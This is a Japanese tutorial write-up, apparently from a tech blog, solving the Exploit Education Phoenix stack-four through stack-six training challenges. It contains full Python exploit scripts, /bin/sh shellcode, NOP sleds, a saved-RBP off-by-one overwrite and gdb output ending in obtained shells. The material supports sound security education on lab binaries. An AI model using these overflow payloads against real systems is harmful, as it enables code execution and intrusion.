🐦‍🔥

Exploit Education Phoenix Stack (four~six) 【Pwn初心者向け解説】

に公開

はじめに

この記事は Exploit EducationPhoenix にある Stack Overflows のうち、stack-four から stack-six までを扱う解説記事です。

前回の stack-zero から stack-three を扱った記事はこちらです。
//article

今回は saved RIP の書き換え、スタック上の shellcode 実行、off-by-one を使った制御フロー奪取まで進みます。
前回よりも少し難しくなるので、細かい基礎説明は必要なところに絞って書きます。

サイトはこちらです。
https://exploit.education/phoenix/

前提知識

以下をある程度知っている前提で進めます。

  • gdb の基本操作
  • x86_64 のレジスタと関数呼び出し規約
  • ポインタとスタックフレームの基本

使用したツール

  • gdb-peda
  • python3
  • shellcraft
  • checksec

環境

  • pwntools は使わない
  • アセンブリ表記は Intel syntax
  • 環境は以下の記事で作成したものを使用

https://zenn.dev/stprixnvra/articles/phoenix-environment-setup

なお、この記事では問題バイナリを /opt/phoenix/amd64 から /home/user 配下へ持ってきた状態で進めます。

Stack-four

まず挙動を見る

実行すると入力を受け付け、その後に「どこへ return する予定か」を表示します。

user@phoenix-amd64:~/stack$ ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
             <- 入力待ち
and will be returning to 0x40068d

関数一覧を見ると、いかにも怪しい関数があります。

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x000000000040061d  complete_level
0x0000000000400635  start_level
0x000000000040066a  main

complete_level という勝ち関数があるので、今回は return address をこれに書き換える問題だと推測できます。

main と start_level を読む

main はメッセージを表示して start_level を呼ぶだけです。

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040066a <+0>:     push   rbp
   0x000000000040066b <+1>:     mov    rbp,rsp
   0x000000000040066e <+4>:     sub    rsp,0x10
   0x0000000000400679 <+15>:    mov    edi,0x400750
   0x000000000040067e <+20>:    call   0x400480 <puts@plt>
   0x0000000000400688 <+30>:    call   0x400635 <start_level>
   0x0000000000400692 <+40>:    leave
   0x0000000000400693 <+41>:    ret

重要なのは start_level です。

(gdb) disas start_level
Dump of assembler code for function start_level:
   0x0000000000400635 <+0>:     push   rbp
   0x0000000000400636 <+1>:     mov    rbp,rsp
   0x0000000000400639 <+4>:     sub    rsp,0x50
   0x000000000040063d <+8>:     lea    rax,[rbp-0x50]
   0x0000000000400641 <+12>:    mov    rdi,rax
   0x0000000000400644 <+15>:    call   0x400470 <gets@plt>
   0x0000000000400649 <+20>:    mov    rax,QWORD PTR [rbp+0x8]
   0x0000000000400655 <+32>:    mov    rsi,rax
   0x0000000000400658 <+35>:    mov    edi,0x400733
   0x0000000000400662 <+45>:    call   0x400460 <printf@plt>
   0x0000000000400668 <+51>:    leave
   0x0000000000400669 <+52>:    ret

やっていることは単純です。

  1. 0x50 バイトのローカルバッファを確保
  2. gets で境界チェックなしに入力
  3. [rbp+0x8] にある saved RIP を読み出す
  4. それを %p で表示
  5. ret

つまり、この時点で「バッファを越えて saved RIP まで届く」ことも、「いまの返り先がどこか」も、かなり親切に教えてくれています。

leave の意味

leave は次の 2 命令とほぼ同じです。

mov rsp, rbp
pop rbp

ローカル変数領域をまとめて捨て、呼び出し元の rbp を戻したあと、最後の retsaved RIP が使われます。
今回はそこを上書きして、complete_level へ飛ばします。

payload を作る

バッファは 0x50 バイト、続いて saved rbp が 8 バイト、その次が saved RIP です。
したがって offset は 0x50 + 0x8 = 0x58 バイトです。

four.py
import struct
import sys

p64 = lambda x: struct.pack("<Q", x)

buffer_size = 0x50
saved_rbp = 0x8
offset = buffer_size + saved_rbp

payload = b"A" * offset
payload += p64(0x40061d)  # complete_level

sys.stdout.buffer.write(payload)

gets 直後のスタックを見ると、確かに return address が書き換わっています。

(gdb) x/20gx $rbp-0x60
0x7fffffffe590: 0x4141414141414141      0x4141414141414141
0x7fffffffe5a0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5b0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5c0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5d0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5e0: 0x4141414141414141      0x000000000040061d

そのまま進めると ret 後に complete_level が呼ばれます。

user@phoenix-amd64:~/stack$ python3 four.py | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

stack-four は「saved RIP を直接勝ち関数に差し替える」基本問題でした。

Stack-five

まず挙動を見る

まずは関数一覧です。

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x000000000040058d  start_level
0x00000000004005a4  main

stack-four と同じで、main から start_level を呼ぶ構成です。

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004005b3 <+15>:    mov    edi,0x400620
   0x00000000004005b8 <+20>:    call   0x400400 <puts@plt>
   0x00000000004005c2 <+30>:    call   0x40058d <start_level>
   0x00000000004005cc <+40>:    leave
   0x00000000004005cd <+41>:    ret

start_level が本体です。

(gdb) disas start_level
Dump of assembler code for function start_level:
   0x000000000040058d <+0>:     push   rbp
   0x000000000040058e <+1>:     mov    rbp,rsp
   0x0000000000400591 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400595 <+8>:     lea    rax,[rbp-0x80]
   0x0000000000400599 <+12>:    mov    rdi,rax
   0x000000000040059c <+15>:    call   0x4003f0 <gets@plt>
   0x00000000004005a2 <+21>:    leave
   0x00000000004005a3 <+22>:    ret

add rsp, 0xffffffffffffff80 は、実質的には sub rsp, 0x80 と同じです。
つまり 0x80 バイトのバッファに gets で無制限入力しています。

今回は勝ち関数がありません。
なので方針は「return address をスタック上の shellcode に向ける」です。

checksec で方針を確認する

user@phoenix-amd64:~/stack$ checksec stack-five

[*] '/home/user/stack/stack-five'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ここで重要なのは NX disabled です。
スタック上のデータをそのまま命令として実行できます。

どこへ飛ばすか

offset は 0x80 + 0x8 = 0x88 バイトです。

まず適当な return address を入れてみて、gets 後のスタック位置を確認します。

(gdb) x/30gx $rbp-0x80
0x7fffffffe5d0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5e0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5f0: 0x4141414141414141      0x4141414141414141
0x7fffffffe600: 0x4141414141414141      0x4141414141414141
0x7fffffffe610: 0x4141414141414141      0x4141414141414141
0x7fffffffe620: 0x4141414141414141      0x4141414141414141
0x7fffffffe630: 0x4141414141414141      0x4141414141414141
0x7fffffffe640: 0x4141414141414141      0x4141414141414141
0x7fffffffe650: 0x4141414141414141      0x00007fffffffe5d0

バッファ先頭が 0x7fffffffe5d0 付近に置かれていると分かるので、この領域に着地させればよさそうです。

shellcode を置く

shellcraft で amd64 Linux 向けの /bin/sh shellcode を作ります。

user@phoenix-amd64:~/stack$ shellcraft -l | grep amd64 | grep linux | grep sh
amd64.linux.bindsh
amd64.linux.dupsh
amd64.linux.findpeersh
amd64.linux.sh

user@phoenix-amd64:~/stack$ shellcraft amd64.linux.sh
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

今回は少し広めの NOP sled を先頭に置いて、そこへ着地させます。

five.py
import struct
import sys

p64 = lambda x: struct.pack("<Q", x)

stack_size = 0x80
saved_rbp = 0x8
offset = stack_size + saved_rbp

nop_sled = b"\x90" * 80

# shellcraft amd64.linux.sh
shellcode = bytes.fromhex(
    "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
)

payload_core = nop_sled + shellcode
padding = b"A" * (offset - len(payload_core))

target_addr = p64(0x7fffffffe5f0)
payload = payload_core + padding + target_addr

sys.stdout.buffer.write(payload)

ret 後に NOP sled へ着地すれば、そのまま shellcode まで滑って実行されます。

──────────────────────────────────────── code:x86:64 ────
   0x7fffffffe61d                  nop
   0x7fffffffe61e                  nop
   0x7fffffffe61f                  nop
  0x7fffffffe620                  push   0x68
   0x7fffffffe622                  movabs rax,0x732f2f2f6e69622f

GDB 内と外でアドレスがずれる点

この問題は、GDB の中と外で環境変数が少し違うせいで、スタックの配置がずれることがあります。
そのため GDB で成功した payload が、そのまま外では落ちることがあります。

実際、環境変数を比べると差があります。

(gdb) show env
...
_=/usr/local/bin/gdb
LINES=75
COLUMNS=83

この差を減らすために、GDB 側で不要な環境変数を消しておくとアドレスの再現性が上がります。

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set env OLDPWD=/home/user

アドレスを合わせ直したあとに実行すると、シェルが取れます。

user@phoenix-amd64:~/stack$ (python3 five.py ; cat) | ./stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
whoami
phoenix-amd64-stack-five

stack-five で重要なのは、「saved RIP を書き換える」だけでなく、「どこに飛べば実行可能な命令列があるか」を自分で作って考える点です。
ここから一気に pwn っぽさが出てきます。

Stack-six

まず挙動を見る

実行すると、環境変数 ExploitEducation を要求されます。

user@phoenix-amd64:~/stack$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
stack-six: Please specify an environment variable called ExploitEducation

関数一覧を見ると、今回の本体は greet です。

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x00000000004006fd  greet
0x000000000040079b  main

main は環境変数を取り出して greet に渡しています。

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004007b4 <+25>:    mov    edi,0x4008c2
   0x00000000004007b9 <+30>:    call   0x400520 <getenv@plt>
   0x00000000004007dd <+66>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004007e4 <+73>:    call   0x4006fd <greet>
   0x00000000004007ec <+81>:    call   0x400530 <puts@plt>
   0x00000000004007f6 <+91>:    leave
   0x00000000004007f7 <+92>:    ret

greet を読む

(gdb) disas greet
Dump of assembler code for function greet:
   0x00000000004006fd <+0>:     push   rbp
   0x00000000004006fe <+1>:     mov    rbp,rsp
   0x0000000000400701 <+4>:     push   rbx
   0x0000000000400702 <+5>:     sub    rsp,0xa8
   0x000000000040071a <+29>:    call   0x400580 <strlen@plt>
   0x0000000000400725 <+40>:    cmp    eax,0x7f
   0x0000000000400728 <+43>:    jbe    0x400731 <greet+52>
   0x000000000040072a <+45>:    mov    DWORD PTR [rbp-0x14],0x7f
   0x0000000000400731 <+52>:    mov    rdx,QWORD PTR [rip+0x200458]
   0x0000000000400738 <+59>:    lea    rax,[rbp-0xa0]
   0x0000000000400745 <+72>:    call   0x400510 <strcpy@plt>
   0x000000000040074a <+77>:    mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400750 <+83>:    lea    rax,[rbp-0xa0]
   0x000000000040075a <+93>:    call   0x400580 <strlen@plt>
   0x0000000000400769 <+108>:   lea    rcx,[rax+rdx*1]
   0x0000000000400774 <+119>:   mov    rdx,rbx
   0x000000000040077a <+125>:   mov    rdi,rcx
   0x000000000040077d <+128>:   call   0x400550 <strncpy@plt>
   0x000000000040078c <+143>:   call   0x400560 <strdup@plt>
   0x0000000000400799 <+156>:   pop    rbp
   0x000000000040079a <+157>:   ret

やっていることを C っぽく書くと、だいたい次のイメージです。

len = strlen(env);
if (len > 0x7f) len = 0x7f;

strcpy(buf, "Welcome, I am pleased to meet you ");
strncpy(buf + strlen(buf), env, len);
return strdup(buf);

問題は、env の長さは 0x7f に丸めているのに、buf 側の残りサイズを考慮していない点です。

先頭に固定文字列 "Welcome, I am pleased to meet you " がすでに入っているので、その後ろへ 0x7f バイトもコピーすると、buf の末尾を 1 バイトだけ越えます。
この問題は典型的な off-by-one です。

何が 1 バイト壊れるのか

strncpy 実行後のスタックを観察すると、rbp の最下位 1 バイトが上書きされます。

0x7fffffffe5c0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5d0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5e0: 0x00007fffffffe641      0x00000000004007e9

ここで壊しているのは saved RIP そのものではなく、その 1 つ手前にある saved RBP の下位 1 バイトです。
しかし関数末尾では leave; ret が実行されます。

leavemov rsp, rbp; pop rbp なので、saved RBP が壊れていると、呼び出し元に戻るときのスタック位置がずれます。
その結果、次の ret が「本来の return address ではない場所」を RIP として読み、制御を奪えます。

つまり stack-six は、直接 saved RIP を踏む問題ではなく、
saved RBP の 1 バイト破壊を使って最終的に ret の参照先をずらす問題です。

環境変数に shellcode を置く

環境変数の値はプロセス起動時にメモリ上へ展開されるので、今回はその領域に shellcode を置きます。

まず確認用に launch script を作ると分析がかなり楽になります。

six_gdb.py
#!/usr/bin/env python3
import os
import subprocess as sp

payload = sp.check_output(["python3", "six.py"])

env = os.environb.copy()
env[b"ExploitEducation"] = payload

argv = [
    b"/usr/local/bin/gdb",
    b"-q",
    b"-ex", b"unset env LINES",
    b"-ex", b"unset env COLUMNS",
    b"-ex", b"unset env _",
    b"-ex", b"b *0x0000000000400782",
    b"-ex", b"r",
    b"-ex", b"x/30gx $rbp-0xa0",
    b"--args",
    b"./stack-six",
]

os.execve(b"/usr/local/bin/gdb", argv, env)

環境変数の値がどこに置かれているか確認すると、たとえば次のように見えます。

0x00007fffffffe538│+0x0008: 0x00007fffffffef12  0x9090909090909090

この 0x7fffffffef12 付近に shellcode を置けるので、最終的にはそこへ flow を向けたいです。

payload を作る

stack-five と同じ shellcode を使い、末尾 1 バイトだけで saved RBP の下位バイトを調整します。

six.py
import sys

payload = b""

nop_sled = b"\x90" * 0x0e
shellcode = bytes.fromhex(
    "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
)

max_copy = 0x7f
off_by_one = 0x1

payload_core = nop_sled + shellcode
padding = b"A" * (max_copy - len(payload_core) - off_by_one)

# saved RBP の下位 1 byte を 0xe0 にして、leave 後のスタック位置を調整する
payload += payload_core + padding + b"\xe0"

sys.stdout.buffer.write(payload)

この payload を環境変数へ入れて実行すると、main の最後の ret が本来とは別の場所を参照するようになります。
その結果、環境変数上の NOP sled へ着地します。

0x4007f7 <main+92>        ret
0x7fffffffef12            nop
    0x7fffffffef13            nop
    0x7fffffffef14            nop
    0x7fffffffef15            nop

さらに進めると shellcode に到達し、execve("/bin/sh", ...) が発動します。

0x00007fffffffef20:  push   0x68
0x00007fffffffef22:  movabs rax,0x732f2f2f6e69622f
0x00007fffffffef2c:  push   rax
0x00007fffffffef2d:  mov    rdi,rsp
...
0x00007fffffffef4e:  syscall

実行するとシェルが取れます。

user@phoenix-amd64:~/stack$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you ...
$ id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
$ whoami
phoenix-amd64-stack-six

stack-six の本質は「1 バイトしか壊せなくても、leave; ret を経由すれば制御フローを奪える」という点です。
ここは最初かなり分かりづらいですが、スタックフレームの復元手順を追う練習としてかなり良い題材でした。

再現性について補足

stack-six は環境変数の並びや長さの影響をかなり強く受けるため、記事中のアドレス配置がそのまま再現できないことがありました。
そのため、自分の環境では ExploitEducation 以外の環境変数の個数や長さを調整しつつ、狙った配置になる組み合わせを brute-force で探す補助スクリプトも作っていました。

今回の記事では本筋ではないので詳細は省きましたが、stack-six は「脆弱性の理解」と「安定して再現する工夫」がかなり別問題になりやすいです。
このへんまで含めてやると、環境依存の面倒さも含めて良い練習になります。

終わりに

stack-four から stack-six では、単なるバッファオーバーフローから一歩進んで、

  • saved RIP を直接書き換える
  • スタック上に命令列を置いて実行する
  • off-by-one から leave; ret を悪用して制御を奪う

という、古典的だけど重要な流れをまとめて体験できます。

現代の実環境では、NXASLRPIE、stack canary などが有効なことが多く、この記事のように素直に shell を取れる場面は多くありません。
それでも、保護機構のない状態で「本来 CPU が何をしているのか」を手で追えるようになると、後で ret2libcROP を学ぶときの理解がかなり楽になります。

特に stack-six は、最初は「たった 1 byte 壊して何ができるんだ」という気持ちになりやすい問題です。
でも実際には、その 1 byte がスタックフレームの復元位置をずらし、最終的に ret の参照先まで変えられます。
この感覚を掴めると、off-by-one を軽く見なくなります。

次に進むなら、NX enabled の環境でなぜ shellcode 実行が止められるのか、その代わりに ret2libcROP が使われる理由、PIEASLR があるときになぜリークが重要になるのか、といった点を意識すると理解がつながりやすいと思います。

さらにその先で heap の exploit に進むと、見方はもう一段変わってきます。
stack では「入力がどこまで届くか」「その先にある saved RIP や関数ポインタをどう壊すか」という、比較的直線的な考え方で追える場面が多くあります。
一方で heap では、単に隣の値を上書きするだけではなく、chunk のサイズ、使用中か解放済みか、free list にどう繋がるか、といったメモリ管理側の構造を前提に考える必要が出てきます。

つまり、stack では「どこに届くか」を追う感覚が強く、heap では「allocator がその領域をどう解釈するか」を読む感覚が強くなります。
その意味で、ここまでの stack 問題で身につく「メモリ上で何が起きているかを観察して説明する力」は、heap に進むための土台としてかなり重要です。

同じように詰まっている人の助けになれば幸いです。

Discussion